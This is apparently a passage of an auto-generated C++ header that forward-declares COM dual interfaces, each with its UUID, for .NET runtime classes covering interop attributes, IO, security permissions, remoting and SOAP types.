struct __declspec(uuid("6c42baf9-1893-34fc-b3af-06931e9b34a3"))
/* dual interface */ _WindowsPrincipal;
struct __declspec(uuid("1b6ed26a-4b7f-34fc-b2c8-8109d684b3df"))
/* dual interface */ _UnmanagedFunctionPointerAttribute;
struct __declspec(uuid("bbe41ac5-8692-3427-9ae1-c1058a38d492"))
/* dual interface */ _DispIdAttribute;
struct __declspec(uuid("a2145f38-cac1-33dd-a318-21948af6825d"))
/* dual interface */ _InterfaceTypeAttribute;
struct __declspec(uuid("0c1e7b57-b9b1-36e4-8396-549c29062a81"))
/* dual interface */ _ComDefaultInterfaceAttribute;
struct __declspec(uuid("6b6391ee-842f-3e9a-8eee-f13325e10996"))
/* dual interface */ _ClassInterfaceAttribute;
struct __declspec(uuid("1e7fffe2-aad9-34ee-8a9f-3c016b880ff0"))
/* dual interface */ _ComVisibleAttribute;
struct __declspec(uuid("288a86d1-6f4f-39c9-9e42-162cf1c37226"))
/* dual interface */ _TypeLibImportClassAttribute;
struct __declspec(uuid("4ab67927-3c86-328a-8186-f85357dd5527"))
/* dual interface */ _LCIDConversionAttribute;
struct __declspec(uuid("51ba926f-aab5-3945-b8a6-c8f0f4a7d12b"))
/* dual interface */ _ComRegisterFunctionAttribute;
struct __declspec(uuid("9f164188-34eb-3f86-9f74-0bbe4155e65e"))
/* dual interface */ _ComUnregisterFunctionAttribute;
struct __declspec(uuid("2b9f01df-5a12-3688-98d6-c34bf5ed1865"))
/* dual interface */ _ProgIdAttribute;
struct __declspec(uuid("3f3311ce-6baf-3fb0-b855-489aff740b6e"))
/* dual interface */ _ImportedFromTypeLibAttribute;
struct __declspec(uuid("5778e7c7-2040-330e-b47a-92974dffcfd4"))
/* dual interface */ _IDispatchImplAttribute;
struct __declspec(uuid("e1984175-55f5-3065-82d8-a683fdfcf0ac"))
/* dual interface */ _ComSourceInterfacesAttribute;
struct __declspec(uuid("fd5b6aac-ff8c-3472-b894-cd6dfadb6939"))
/* dual interface */ _ComConversionLossAttribute;
struct __declspec(uuid("b5a1729e-b721-3121-a838-fde43af13468"))
/* dual interface */ _TypeLibTypeAttribute;
struct __declspec(uuid("3d18a8e2-eede-3139-b29d-8cac057955df"))
/* dual interface */ _TypeLibFuncAttribute;
struct __declspec(uuid("7b89862a-02a4-3279-8b42-4095fa3a778e"))
/* dual interface */ _TypeLibVarAttribute;
struct __declspec(uuid("d858399f-e19e-3423-a720-ac12abe2e5e8"))
/* dual interface */ _MarshalAsAttribute;
struct __declspec(uuid("1b093056-5454-386f-8971-bbcbc4e9a8f3"))
/* dual interface */ _ComImportAttribute;
struct __declspec(uuid("74435dad-ec55-354b-8f5b-fa70d13b6293"))
/* dual interface */ _GuidAttribute;
struct __declspec(uuid("fdf2a2ee-c882-3198-a48b-e37f0e574dfa"))
/* dual interface */ _PreserveSigAttribute;
struct __declspec(uuid("8474b65c-c39a-3d05-893d-577b9a314615"))
/* dual interface */ _InAttribute;
struct __declspec(uuid("0697fc8c-9b04-3783-95c7-45eccac1ca27"))
/* dual interface */ _OutAttribute;
struct __declspec(uuid("0d6bd9ad-198e-3904-ad99-f6f82a2787c4"))
/* dual interface */ _OptionalAttribute;
struct __declspec(uuid("a1a26181-d55e-3ee2-96e6-70b354ef9371"))
/* dual interface */ _DllImportAttribute;
struct __declspec(uuid("23753322-c7b3-3f9a-ac96-52672c1b1ca9"))
/* dual interface */ _StructLayoutAttribute;
struct __declspec(uuid("c14342b8-bafd-322a-bb71-62c672da284e"))
/* dual interface */ _FieldOffsetAttribute;
struct __declspec(uuid("e78785c4-3a73-3c15-9390-618bf3a14719"))
/* dual interface */ _ComAliasNameAttribute;
struct __declspec(uuid("57b908a8-c082-3581-8a47-6b41b86e8fdc"))
/* dual interface */ _AutomationProxyAttribute;
struct __declspec(uuid("c69e96b2-6161-3621-b165-5805198c6b8d"))
/* dual interface */ _PrimaryInteropAssemblyAttribute;
struct __declspec(uuid("15d54c00-7c95-38d7-b859-e19346677dcd"))
/* dual interface */ _CoClassAttribute;
struct __declspec(uuid("76cc0491-9a10-35c0-8a66-7931ec345b7f"))
/* dual interface */ _ComEventInterfaceAttribute;
struct __declspec(uuid("a03b61a4-ca61-3460-8232-2f4ec96aa88f"))
/* dual interface */ _TypeLibVersionAttribute;
struct __declspec(uuid("ad419379-2ac8-3588-ab1e-0115413277c4"))
/* dual interface */ _ComCompatibleVersionAttribute;
struct __declspec(uuid("ed47abe7-c84b-39f9-be1b-828cfb925afe"))
/* dual interface */ _BestFitMappingAttribute;
struct __declspec(uuid("b26b3465-28e4-33b5-b9bf-dd7c4f6461f5"))
/* dual interface */ _DefaultCharSetAttribute;
struct __declspec(uuid("a54ac093-bfce-37b0-a81f-148dfed0971f"))
/* dual interface */ _SetWin32ContextInIDispatchAttribute;
struct __declspec(uuid("a83f04e9-fd28-384a-9dff-410688ac23ab"))
/* dual interface */ _ExternalException;
struct __declspec(uuid("a28c19df-b488-34ae-becc-7de744d17f7b"))
/* dual interface */ _COMException;
struct __declspec(uuid("76e5dbd6-f960-3c65-8ea6-fc8ad6a67022"))
/* dual interface */ _InvalidOleVariantTypeException;
struct __declspec(uuid("523f42a5-1fd2-355d-82bf-0d67c4a0a0e7"))
/* dual interface */ _MarshalDirectiveException;
struct __declspec(uuid("edcee21a-3e3a-331e-a86d-274028be6716"))
/* dual interface */ _RuntimeEnvironment;
struct __declspec(uuid("3e72e067-4c5e-36c8-bbef-1e2978c7780d"))
/* dual interface */ _SEHException;
struct __declspec(uuid("80da5818-609f-32b8-a9f8-95fcfbdb9c8e"))
/* dual interface */ _BStrWrapper;
struct __declspec(uuid("7df6f279-da62-3c9f-8944-4dd3c0f08170"))
/* dual interface */ _CurrencyWrapper;
struct __declspec(uuid("72103c67-d511-329c-b19a-dd5ec3f1206c"))
/* dual interface */ _DispatchWrapper;
struct __declspec(uuid("f79db336-06be-3959-a5ab-58b2ab6c5fd1"))
/* dual interface */ _ErrorWrapper;
struct __declspec(uuid("519eb857-7a2d-3a95-a2a3-8bb8ed63d41b"))
/* dual interface */ _ExtensibleClassFactory;
struct __declspec(uuid("de9156b5-5e7a-3041-bf45-a29a6c2cf48a"))
/* dual interface */ _InvalidComObjectException;
struct __declspec(uuid("e4a369d3-6cf0-3b05-9c0c-1a91e331641a"))
/* dual interface */ _ObjectCreationDelegate;
struct __declspec(uuid("8608fe7b-2fdc-318a-b711-6f7b2feded06"))
/* dual interface */ _SafeArrayRankMismatchException;
struct __declspec(uuid("e093fb32-e43b-3b3f-a163-742c920c2af3"))
/* dual interface */ _SafeArrayTypeMismatchException;
struct __declspec(uuid("1c8d8b14-4589-3dca-8e0f-a30e80fbd1a8"))
/* dual interface */ _UnknownWrapper;
struct __declspec(uuid("556137ea-8825-30bc-9d49-e47a9db034ee"))
/* dual interface */ _TextWriter;
struct __declspec(uuid("2752364a-924f-3603-8f6f-6586df98b292"))
/* dual interface */ _Stream;
struct __declspec(uuid("442e3c03-a205-3f21-aa4d-31768bb8ea28"))
/* dual interface */ _BinaryReader;
struct __declspec(uuid("4ca8147e-baa3-3a7f-92ce-a4fd7f17d8da"))
/* dual interface */ _BinaryWriter;
struct __declspec(uuid("4b7571c3-1275-3457-8fee-9976fd3937e3"))
/* dual interface */ _BufferedStream;
struct __declspec(uuid("8ce58ff5-f26d-38a4-9195-0e2ecb3b56b9"))
/* dual interface */ _Directory;
struct __declspec(uuid("a5d29a57-36a8-3e36-a099-7458b1fabaa2"))
/* dual interface */ _FileSystemInfo;
struct __declspec(uuid("487e52f1-2bb9-3bd0-a0ca-6728b3a1d051"))
/* dual interface */ _DirectoryInfo;
struct __declspec(uuid("c5bfc9bf-27a7-3a59-a986-44c85f3521bf"))
/* dual interface */ _IOException;
struct __declspec(uuid("c8a200e4-9735-30e4-b168-ed861a3020f2"))
/* dual interface */ _DirectoryNotFoundException;
struct __declspec(uuid("ce83a763-940f-341f-b880-332325eb6f4b"))
/* dual interface */ _DriveInfo;
struct __declspec(uuid("b24e9559-a662-3762-ae33-bc7dfdd538f4"))
/* dual interface */ _DriveNotFoundException;
struct __declspec(uuid("d625afd0-8fd9-3113-a900-43912a54c421"))
/* dual interface */ _EndOfStreamException;
struct __declspec(uuid("5d59051f-e19d-329a-9962-fd00d552e13d"))
/* dual interface */ _File;
struct __declspec(uuid("c3c429f9-8590-3a01-b2b2-434837f3d16d"))
/* dual interface */ _FileInfo;
struct __declspec(uuid("51d2c393-9b70-3551-84b5-ff5409fb3ada"))
/* dual interface */ _FileLoadException;
struct __declspec(uuid("a15a976b-81e3-3ef4-8ff1-d75ddbe20aef"))
/* dual interface */ _FileNotFoundException;
struct __declspec(uuid("74265195-4a46-3d6f-a9dd-69c367ea39c8"))
/* dual interface */ _FileStream;
struct __declspec(uuid("2dbc46fe-b3dd-3858-afc2-d3a2d492a588"))
/* dual interface */ _MemoryStream;
struct __declspec(uuid("6df93530-d276-31d9-8573-346778c650af"))
/* dual interface */ _Path;
struct __declspec(uuid("468b8eb4-89ac-381b-8f86-5e47ec0648b4"))
/* dual interface */ _PathTooLongException;
struct __declspec(uuid("897471f2-9450-3f03-a41f-d2e1f1397854"))
/* dual interface */ _TextReader;
struct __declspec(uuid("e645b470-dc3f-3ce0-8104-5837feda04b3"))
/* dual interface */ _StreamReader;
struct __declspec(uuid("1f124e1c-d05d-3643-a59f-c3de6051994f"))
/* dual interface */ _StreamWriter;
struct __declspec(uuid("59733b03-0ea5-358c-95b5-659fcd9aa0b4"))
/* dual interface */ _StringReader;
struct __declspec(uuid("cb9f94c0-d691-3b62-b0b2-3ce5309cfa62"))
/* dual interface */ _StringWriter;
struct __declspec(uuid("998dcf16-f603-355d-8c89-3b675947997f"))
/* dual interface */ _AccessedThroughPropertyAttribute;
struct __declspec(uuid("a6c2239b-08e6-3822-9769-e3d4b0431b82"))
/* dual interface */ _CallConvCdecl;
struct __declspec(uuid("8e17a5cd-1160-32dc-8548-407e7c3827c9"))
/* dual interface */ _CallConvStdcall;
struct __declspec(uuid("fa73dd3d-a472-35ed-b8be-f99a13581f72"))
/* dual interface */ _CallConvThiscall;
struct __declspec(uuid("3b452d17-3c5e-36c4-a12d-5e9276036cf8"))
/* dual interface */ _CallConvFastcall;
struct __declspec(uuid("62caf4a2-6a78-3fc7-af81-a6bbf930761f"))
/* dual interface */ _CustomConstantAttribute;
struct __declspec(uuid("ef387020-b664-3acd-a1d2-806345845953"))
/* dual interface */ _DateTimeConstantAttribute;
struct __declspec(uuid("3c3a8c69-7417-32fa-aa20-762d85e1b594"))
/* dual interface */ _DiscardableAttribute;
struct __declspec(uuid("7e133967-ccec-3e89-8bd2-6cfca649ecbf"))
/* dual interface */ _DecimalConstantAttribute;
struct __declspec(uuid("c5c4f625-2329-3382-8994-aaf561e5dfe9"))
/* dual interface */ _CompilationRelaxationsAttribute;
struct __declspec(uuid("1eed213e-656a-3a73-a4b9-0d3b26fd942b"))
/* dual interface */ _CompilerGlobalScopeAttribute;
struct __declspec(uuid("243368f5-67c9-3510-9424-335a8a67772f"))
/* dual interface */ _IndexerNameAttribute;
struct __declspec(uuid("0278c819-0c06-3756-b053-601a3e566d9b"))
/* dual interface */ _IsVolatile;
struct __declspec(uuid("98966503-5d80-3242-83ef-79e136f6b954"))
/* dual interface */ _MethodImplAttribute;
struct __declspec(uuid("db2c11d9-3870-35e7-a10c-a3ddc3dc79b1"))
/* dual interface */ _RequiredAttributeAttribute;
struct __declspec(uuid("f68a4008-ab94-3370-a9ac-8cc99939f534"))
/* dual interface */ _IsCopyConstructed;
struct __declspec(uuid("40e8e914-dc23-38a6-936b-90e4e3ab01fa"))
/* dual interface */ _NativeCppClassAttribute;
struct __declspec(uuid("97d0b28a-6932-3d74-b67f-6bcd3c921e7d"))
/* dual interface */ _IDispatchConstantAttribute;
struct __declspec(uuid("54542649-ce64-3f96-bce5-fde3bb22f242"))
/* dual interface */ _IUnknownConstantAttribute;
struct __declspec(uuid("8d597c42-2cfd-32b6-b6d6-86c9e2cff00a"))
/* dual interface */ _SecurityElement;
struct __declspec(uuid("d9fcad88-d869-3788-a802-1b1e007c7a22"))
/* dual interface */ _XmlSyntaxException;
struct __declspec(uuid("4803ce39-2f30-31fc-b84b-5a0141385269"))
/* dual interface */ _CodeAccessPermission;
struct __declspec(uuid("0720590d-5218-352a-a337-5449e6bd19da"))
/* dual interface */ _EnvironmentPermission;
struct __declspec(uuid("a8b7138c-8932-3d78-a585-a91569c743ac"))
/* dual interface */ _FileDialogPermission;
struct __declspec(uuid("a2ed7efc-8e59-3ccc-ae92-ea2377f4d5ef"))
/* dual interface */ _FileIOPermission;
struct __declspec(uuid("48815668-6c27-3312-803e-2757f55ce96a"))
/* dual interface */ _SecurityAttribute;
struct __declspec(uuid("9c5149cb-d3c6-32fd-a0d5-95350de7b813"))
/* dual interface */ _CodeAccessSecurityAttribute;
struct __declspec(uuid("9f8f73a3-1e99-3e51-a41b-179a41dc747c"))
/* dual interface */ _HostProtectionAttribute;
struct __declspec(uuid("7fee7903-f97c-3350-ad42-196b00ad2564"))
/* dual interface */ _IsolatedStoragePermission;
struct __declspec(uuid("0d0c83e8-bde1-3ba5-b1ef-a8fc686d8bc9"))
/* dual interface */ _IsolatedStorageFilePermission;
struct __declspec(uuid("4164071a-ed12-3bdd-af40-fdabcaa77d5f"))
/* dual interface */ _EnvironmentPermissionAttribute;
struct __declspec(uuid("0ccca629-440f-313e-96cd-ba1b4b4997f7"))
/* dual interface */ _FileDialogPermissionAttribute;
struct __declspec(uuid("0dca817d-f21a-3943-b54c-5e800ce5bc50"))
/* dual interface */ _FileIOPermissionAttribute;
struct __declspec(uuid("edb51d1c-08ad-346a-be6f-d74fd6d6f965"))
/* dual interface */ _KeyContainerPermissionAttribute;
struct __declspec(uuid("68ab69e4-5d68-3b51-b74d-1beab9f37f2b"))
/* dual interface */ _PrincipalPermissionAttribute;
struct __declspec(uuid("d31eed10-a5f0-308f-a951-e557961ec568"))
/* dual interface */ _ReflectionPermissionAttribute;
struct __declspec(uuid("38b6068c-1e94-3119-8841-1eca35ed8578"))
/* dual interface */ _RegistryPermissionAttribute;
struct __declspec(uuid("3a5b876c-cde4-32d2-9c7e-020a14aca332"))
/* dual interface */ _SecurityPermissionAttribute;
struct __declspec(uuid("1d5c0f70-af29-38a3-9436-3070a310c73b"))
/* dual interface */ _UIPermissionAttribute;
struct __declspec(uuid("2e3be3ed-2f22-3b20-9f92-bd29b79d6f42"))
/* dual interface */ _ZoneIdentityPermissionAttribute;
struct __declspec(uuid("c9a740f4-26e9-39a8-8885-8ca26bd79b21"))
/* dual interface */ _StrongNameIdentityPermissionAttribute;
struct __declspec(uuid("6fe6894a-2a53-3fb6-a06e-348f9bdad23b"))
/* dual interface */ _SiteIdentityPermissionAttribute;
struct __declspec(uuid("ca4a2073-48c5-3e61-8349-11701a90dd9b"))
/* dual interface */ _UrlIdentityPermissionAttribute;
struct __declspec(uuid("6722c730-1239-3784-ac94-c285ae5b901a"))
/* dual interface */ _PublisherIdentityPermissionAttribute;
struct __declspec(uuid("5c4c522f-de4e-3595-9aa9-9319c86a5283"))
/* dual interface */ _IsolatedStoragePermissionAttribute;
struct __declspec(uuid("6f1f8aae-d667-39cc-98fa-722bebbbeac3"))
/* dual interface */ _IsolatedStorageFilePermissionAttribute;
struct __declspec(uuid("947a1995-bc16-3e7c-b65a-99e71f39c091"))
/* dual interface */ _PermissionSetAttribute;
struct __declspec(uuid("aeb3727f-5c3a-34c4-bf18-a38f088ac8c7"))
/* dual interface */ _ReflectionPermission;
struct __declspec(uuid("7c6b06d1-63ad-35ef-a938-149b4ad9a71f"))
/* dual interface */ _PrincipalPermission;
struct __declspec(uuid("33c54a2d-02bd-3848-80b6-742d537085e5"))
/* dual interface */ _SecurityPermission;
struct __declspec(uuid("790b3ee9-7e06-3cd0-8243-5848486d6a78"))
/* dual interface */ _SiteIdentityPermission;
struct __declspec(uuid("5f1562fb-0160-3655-baea-b15bef609161"))
/* dual interface */ _StrongNameIdentityPermission;
struct __declspec(uuid("af53d21a-d6af-3406-b399-7df9d2aad48a"))
/* dual interface */ _StrongNamePublicKeyBlob;
struct __declspec(uuid("47698389-f182-3a67-87df-aed490e14dc6"))
/* dual interface */ _UIPermission;
struct __declspec(uuid("ec7cac31-08a2-393b-bdf2-d052eb53af2c"))
/* dual interface */ _UrlIdentityPermission;
struct __declspec(uuid("38b2f8d7-8cf4-323b-9c17-9c55ee287a63"))
/* dual interface */ _ZoneIdentityPermission;
struct __declspec(uuid("5f19e082-26f8-3361-b338-9bacb98809a4"))
/* dual interface */ _GacIdentityPermissionAttribute;
struct __declspec(uuid("a9637792-5be8-3c93-a501-49f0e840de38"))
/* dual interface */ _GacIdentityPermission;
struct __declspec(uuid("094351ea-dbc1-327f-8a83-913b593a66be"))
/* dual interface */ _KeyContainerPermissionAccessEntry;
struct __declspec(uuid("28ecf94e-3510-3a3e-8bd1-f866f45f3b06"))
/* dual interface */ _KeyContainerPermissionAccessEntryCollection;
struct __declspec(uuid("293187ea-5f88-316f-86a5-533b0c7b353f"))
/* dual interface */ _KeyContainerPermissionAccessEntryEnumerator;
struct __declspec(uuid("107a3cf1-b35e-3a23-b660-60264b231225"))
/* dual interface */ _KeyContainerPermission;
struct __declspec(uuid("e86cc74a-1233-3df3-b13f-8b27eeaac1f6"))
/* dual interface */ _PublisherIdentityPermission;
struct __declspec(uuid("c3fb5510-3454-3b31-b64f-de6aad6be820"))
/* dual interface */ _RegistryPermission;
struct __declspec(uuid("8000e51a-541c-3b20-a8ec-c8a8b41116c4"))
/* dual interface */ _SuppressUnmanagedCodeSecurityAttribute;
struct __declspec(uuid("41f41c1b-7b8d-39a3-a28f-aae20787f469"))
/* dual interface */ _UnverifiableCodeAttribute;
struct __declspec(uuid("f1c930c4-2233-3924-9840-231d008259b4"))
/* dual interface */ _AllowPartiallyTrustedCallersAttribute;
struct __declspec(uuid("9deae196-48c1-3590-9d0a-33716a214acd"))
/* dual interface */ _HostSecurityManager;
struct __declspec(uuid("c2af4970-4fb6-319c-a8aa-0614d27f2b2c"))
/* dual interface */ _PermissionSet;
struct __declspec(uuid("ba3e053f-ade3-3233-874a-16e624c9a49b"))
/* dual interface */ _NamedPermissionSet;
struct __declspec(uuid("f174290f-e4cf-3976-88aa-4f8e32eb03db"))
/* dual interface */ _SecurityException;
struct __declspec(uuid("ed727a9b-6fc5-3fed-bedd-7b66c847f87a"))
/* dual interface */ _HostProtectionException;
struct __declspec(uuid("abc04b16-5539-3c7e-92ec-0905a4a24464"))
/* dual interface */ _SecurityManager;
struct __declspec(uuid("f65070df-57af-3ae3-b951-d2ad7d513347"))
/* dual interface */ _VerificationException;
struct __declspec(uuid("f042505b-7aac-313b-a8c7-3f1ac949c311"))
/* dual interface */ _ContextAttribute;
struct __declspec(uuid("3936abe1-b29e-3593-83f1-793d1a7f3898"))
/* dual interface */ _AsyncResult;
struct __declspec(uuid("ffb2e16e-e5c7-367c-b326-965abf510f24"))
/* dual interface */ _ChannelServices;
struct __declspec(uuid("e1796120-c324-30d8-86f4-20086711463b"))
/* dual interface */ _ClientChannelSinkStack;
struct __declspec(uuid("52da9f90-89b3-35ab-907b-3562642967de"))
/* dual interface */ _ServerChannelSinkStack;
struct __declspec(uuid("ff19d114-3bda-30ac-8e89-36ca64a87120"))
/* dual interface */ _ClientSponsor;
struct __declspec(uuid("ee949b7b-439f-363e-b9fc-34db1fb781d7"))
/* dual interface */ _CrossContextDelegate;
struct __declspec(uuid("11a2ea7a-d600-307b-a606-511a6c7950d1"))
/* dual interface */ _Context;
struct __declspec(uuid("4acb3495-05db-381b-890a-d12f5340dca3"))
/* dual interface */ _ContextProperty;
struct __declspec(uuid("77c9bceb-9958-33c0-a858-599f66697da7"))
/* dual interface */ _EnterpriseServicesHelper;
struct __declspec(uuid("aa6da581-f972-36de-a53b-7585428a68ab"))
/* dual interface */ _ChannelDataStore;
struct __declspec(uuid("65887f70-c646-3a66-8697-8a3f7d8fe94d"))
/* dual interface */ _TransportHeaders;
struct __declspec(uuid("a18545b7-e5ee-31ee-9b9b-41199b11c995"))
/* dual interface */ _SinkProviderData;
struct __declspec(uuid("a1329ec9-e567-369f-8258-18366d89eaf8"))
/* dual interface */ _BaseChannelObjectWithProperties;
struct __declspec(uuid("8af3451e-154d-3d86-80d8-f8478b9733ed"))
/* dual interface */ _BaseChannelSinkWithProperties;
struct __declspec(uuid("94bb98ed-18bb-3843-a7fe-642824ab4e01"))
/* dual interface */ _BaseChannelWithProperties;
struct __declspec(uuid("b0ad9a21-5439-3d88-8975-4018b828d74c"))
/* dual interface */ _LifetimeServices;
struct __declspec(uuid("0eeff4c2-84bf-3e4e-bf22-b7bdbb5df899"))
/* dual interface */ _ReturnMessage;
struct __declspec(uuid("95e01216-5467-371b-8597-4074402ccb06"))
/* dual interface */ _MethodCall;
struct __declspec(uuid("a2246ae7-eb81-3a20-8e70-c9fa341c7e10"))
/* dual interface */ _ConstructionCall;
struct __declspec(uuid("9e9ea93a-d000-3ab9-bfca-ddeb398a55b9"))
/* dual interface */ _MethodResponse;
struct __declspec(uuid("be457280-6ffa-3e76-9822-83de63c0c4e0"))
/* dual interface */ _ConstructionResponse;
struct __declspec(uuid("ef926e1f-3ee7-32bc-8b01-c6e98c24bc19"))
/* dual interface */ _InternalMessageWrapper;
struct __declspec(uuid("c9614d78-10ea-3310-87ea-821b70632898"))
/* dual interface */ _MethodCallMessageWrapper;
struct __declspec(uuid("89304439-a24f-30f6-9a8f-89ce472d85da"))
/* dual interface */ _MethodReturnMessageWrapper;
struct __declspec(uuid("1dd3cf3d-df8e-32ff-91ec-e19aa10b63fb"))
/* dual interface */ _ObjRef;
struct __declspec(uuid("8ffedc68-5233-3fa8-813d-405aabb33ecb"))
/* dual interface */ _OneWayAttribute;
struct __declspec(uuid("d80ff312-2930-3680-a5e9-b48296c7415f"))
/* dual interface */ _ProxyAttribute;
struct __declspec(uuid("e0cf3f77-c7c3-33da-beb4-46147fc905de"))
/* dual interface */ _RealProxy;
struct __declspec(uuid("725692a5-9e12-37f6-911c-e3da77e5faca"))
/* dual interface */ _SoapAttribute;
struct __declspec(uuid("ebcdcd84-8c74-39fd-821c-f5eb3a2704d7"))
/* dual interface */ _SoapTypeAttribute;
struct __declspec(uuid("c58145b5-bd5a-3896-95d9-b358f54fbc44"))
/* dual interface */ _SoapMethodAttribute;
struct __declspec(uuid("46a3f9ff-f73c-33c7-bcc3-1bef4b25e4ae"))
/* dual interface */ _SoapFieldAttribute;
struct __declspec(uuid("c32abfc9-3917-30bf-a7bc-44250bdfc5d8"))
/* dual interface */ _SoapParameterAttribute;
struct __declspec(uuid("4b10971e-d61d-373f-bc8d-2ccf31126215"))
/* dual interface */ _RemotingConfiguration;
struct __declspec(uuid("8359f3ab-643f-3bcf-91e8-16e779edebe1"))
/* dual interface */ _TypeEntry;
struct __declspec(uuid("bac12781-6865-3558-a8d1-f1cadd2806dd"))
/* dual interface */ _ActivatedClientTypeEntry;
struct __declspec(uuid("94855a3b-5ca2-32cf-b1ab-48fd3915822c"))
/* dual interface */ _ActivatedServiceTypeEntry;
struct __declspec(uuid("4d0bc339-e3f9-3e9e-8f68-92168e6f6981"))
/* dual interface */ _WellKnownClientTypeEntry;
struct __declspec(uuid("60b8b604-0aed-3093-ac05-eb98fb29fc47"))
/* dual interface */ _WellKnownServiceTypeEntry;
struct __declspec(uuid("7264843f-f60c-39a9-99e1-029126aa0815"))
/* dual interface */ _RemotingException;
struct __declspec(uuid("19373c44-55b4-3487-9ad8-4c621aae85ea"))
/* dual interface */ _ServerException;
struct __declspec(uuid("44db8e15-acb1-34ee-81f9-56ed7ae37a5c"))
/* dual interface */ _RemotingTimeoutException;
struct __declspec(uuid("7b91368d-a50a-3d36-be8e-5b8836a419ad"))
/* dual interface */ _RemotingServices;
struct __declspec(uuid("f4efb305-cdc4-31c5-8102-33c9b91774f3"))
/* dual interface */ _InternalRemotingServices;
struct __declspec(uuid("04a35d22-0b08-34e7-a573-88ef2374375e"))
/* dual interface */ _MessageSurrogateFilter;
struct __declspec(uuid("551f7a57-8651-37db-a94a-6a3ca09c0ed7"))
/* dual interface */ _RemotingSurrogateSelector;
struct __declspec(uuid("7416b6ee-82e8-3a16-966b-018a40e7b1aa"))
/* dual interface */ _SoapServices;
struct __declspec(uuid("1738adbc-156e-3897-844f-c3147c528dea"))
/* dual interface */ _SoapDateTime;
struct __declspec(uuid("7ef50ddb-32a5-30a1-b412-47fab911404a"))
/* dual interface */ _SoapDuration;
struct __declspec(uuid("a3bf0bcd-ec32-38e6-92f2-5f37bad8030d"))
/* dual interface */ _SoapTime;
struct __declspec(uuid("cfa6e9d2-b3de-39a6-94d1-cc691de193f8"))
/* dual interface */ _SoapDate;
struct __declspec(uuid("103c7ef9-a9ee-35fb-84c5-3086c9725a20"))
/* dual interface */ _SoapYearMonth;
struct __declspec(uuid("c20769f3-858d-316a-be6d-c347a47948ad"))
/* dual interface */ _SoapYear;
struct __declspec(uuid("f9ead0aa-4156-368f-ae05-fd59d70f758d"))
/* dual interface */ _SoapMonthDay;
struct __declspec(uuid("d9e8314d-5053-3497-8a33-97d3dcfe33e2"))
/* dual interface */ _SoapDay;
struct __declspec(uuid("b4e32423-e473-3562-aa12-62fde5a7d4a2"))
/* dual interface */ _SoapMonth;
struct __declspec(uuid("63b9da95-fb91-358a-b7b7-90c34aa34ab7"))
/* dual interface */ _SoapHexBinary;
struct __declspec(uuid("8ed115a1-5e7b-34dc-ab85-90316f28015d"))
/* dual interface */ _SoapBase64Binary;
struct __declspec(uuid("30c65c40-4e54-3051-9d8f-4709b6ab214c"))
/* dual interface */ _SoapInteger;
struct __declspec(uuid("4979ec29-c2b7-3ad6-986d-5aaf7344cc4e"))
/* dual interface */ _SoapPositiveInteger;
struct __declspec(uuid("aaf5401e-f71c-3fe3-8a73-a25074b20d3a"))
/* dual interface */ _SoapNonPositiveInteger;
struct __declspec(uuid("bc261fc6-7132-3fb5-9aac-224845d3aa99"))
/* dual interface */ _SoapNonNegativeInteger;
struct __declspec(uuid("e384aa10-a70c-3943-97cf-0f7c282c3bdc"))
/* dual interface */ _SoapNegativeInteger;
struct __declspec(uuid("818ec118-be7e-3cde-92c8-44b99160920e"))
/* dual interface */ _SoapAnyUri;
struct __declspec(uuid("3ac646b6-6b84-382f-9aed-22c2433244e6"))
/* dual interface */ _SoapQName;
struct __declspec(uuid("974f01f4-6086-3137-9448-6a31fc9bef08"))
/* dual interface */ _SoapNotation;
struct __declspec(uuid("f4926b50-3f23-37e0-9afa-aa91ff89a7bd"))
/* dual interface */ _SoapNormalizedString;
struct __declspec(uuid("ab4e97b9-651d-36f4-aaba-28acf5746624"))
/* dual interface */ _SoapToken;
struct __declspec(uuid("14aed851-a168-3462-b877-8f9a01126653"))
/* dual interface */ _SoapLanguage;
struct __declspec(uuid("5eb06bef-4adf-3cc1-a6f2-62f76886b13a"))
/* dual interface */ _SoapName;
struct __declspec(uuid("7947a829-adb5-34d0-9cc8-6c172742c803"))
/* dual interface */ _SoapIdrefs;
struct __declspec(uuid("aca96da3-96ed-397e-8a72-ee1be1025f5e"))
/* dual interface */ _SoapEntities;
struct __declspec(uuid("e941fa15-e6c8-3dd4-b060-c0ddfbc0240a"))
/* dual interface */ _SoapNmtoken;
struct __declspec(uuid("a5e385ae-27fb-3708-baf7-0bf1f3955747"))
/* dual interface */ _SoapNmtokens;
struct __declspec(uuid("725cdaf7-b739-35c1-8463-e2a923e1f618"))
/* dual interface */ _SoapNcName;
struct __declspec(uuid("6a46b6a2-2d2c-3c67-af67-aae0175f17ae"))
/* dual interface */ _SoapId;
struct __declspec(uuid("7db7fd83-de89-38e1-9645-d4cabde694c0"))
/* dual interface */ _SoapIdref;
struct __declspec(uuid("37171746-b784-3586-a7d5-692a7604a66b"))
/* dual interface */ _SoapEntity;
struct __declspec(uuid("2d985674-231c-33d4-b14d-f3a6bd2ebe19"))
/* dual interface */ _SynchronizationAttribute;
struct __declspec(uuid("f51728f2-2def-308c-874a-cbb1baa9cf9e"))
/* dual interface */ _TrackingServices;
struct __declspec(uuid("717105a3-739b-3bc3-a2b7-ad215903fad2"))
/* dual interface */ _UrlAttribute;
struct __declspec(uuid("0d296515-ad19-3602-b415-d8ec77066081"))
/* dual interface */ _Header;
struct __declspec(uuid("5dbbaf39-a3df-30b7-aaea-9fd11394123f"))
/* dual interface */ _HeaderHandler;
struct __declspec(uuid("53bce4d4-6209-396d-bd4a-0b0a0a177df9"))
/* dual interface */ _CallContext;
struct __declspec(uuid("9aff21f5-1c9c-35e7-aea4-c3aa0beb3b77"))
/* dual interface */ _LogicalCallContext;
struct __declspec(uuid("ea675b47-64e0-3b5f-9be7-f7dc2990730d"))
/* dual interface */ _ObjectHandle;
struct __declspec(uuid("34ec3bd7-f2f6-3c20-a639-804bff89df65"))
/* dual interface */ _IsolatedStorage;
struct __declspec(uuid("68d5592b-47c8-381a-8d51-3925c16cf025"))
/* dual interface */ _IsolatedStorageFileStream;
struct __declspec(uuid("aec2b0de-9898-3607-b845-63e2e307cb5f"))
/* dual interface */ _IsolatedStorageException;
struct __declspec(uuid("6bbb7dee-186f-3d51-9486-be0a71e915ce"))
/* dual interface */ _IsolatedStorageFile;
struct __declspec(uuid("361a5049-1bc8-35a9-946a-53a877902f25"))
/* dual interface */ _InternalRM;
struct __declspec(uuid("a864fb13-f945-3dc0-a01c-b903f944fc97"))
/* dual interface */ _InternalST;
struct __declspec(uuid("bc0847b2-bd5c-37b3-ba67-7d2d54b17238"))
/* dual interface */ _SoapMessage;
struct __declspec(uuid("a1c392fc-314c-39d5-8de6-1f8ebca0a1e2"))
